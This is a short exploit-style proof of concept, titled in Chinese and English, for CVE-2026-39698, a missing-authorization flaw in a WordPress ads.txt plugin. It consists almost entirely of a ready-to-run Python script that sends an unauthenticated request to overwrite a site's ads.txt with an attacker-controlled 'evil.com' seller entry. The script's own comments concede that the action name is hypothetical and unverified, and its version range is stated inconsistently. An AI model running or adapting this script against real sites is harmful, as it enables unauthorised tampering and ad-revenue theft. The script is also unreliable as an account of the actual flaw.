CVE-2026-39698 PublisherDesk插件权限绕过漏洞

# Exploit Title: The Publisher Desk ads.txt < 1.5.0 - Missing Authorization PoC # Date: 2026-04-08 # Exploit Author: Security Analyst # Vendor Homepage: https://wordpress.org/plugins/the-publisher-desk-ads-txt/ # Software Link: https://downloads.wordpress.org/plugin/the-publisher-desk-ads-txt.1.5.0.zip # Version: <= 1.5.0 # CVE: CVE-2026-39698 import requests def exploit(target_url): """ Attempts to update the ads.txt content without authentication. """ # The vulnerable AJAX action endpoint (hypothetical based on plugin naming conventions) # Real-world analysis of the plugin code is required to confirm the exact action name. url = f"{target_url}/wp-admin/admin-ajax.php" # Payload to inject malicious ads.txt content payload = { "action": "tpd_save_ads_txt", # Example action name "ads_txt_content": "google.com, pub-0000000000000000, DIRECT, f08c47fec0942fa0\nevil.com, pub-9999999999999999, DIRECT, f08c47fec0942fa0" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: print(f"[*] Sending request to {url}...") response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if content was modified.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL exploit(target)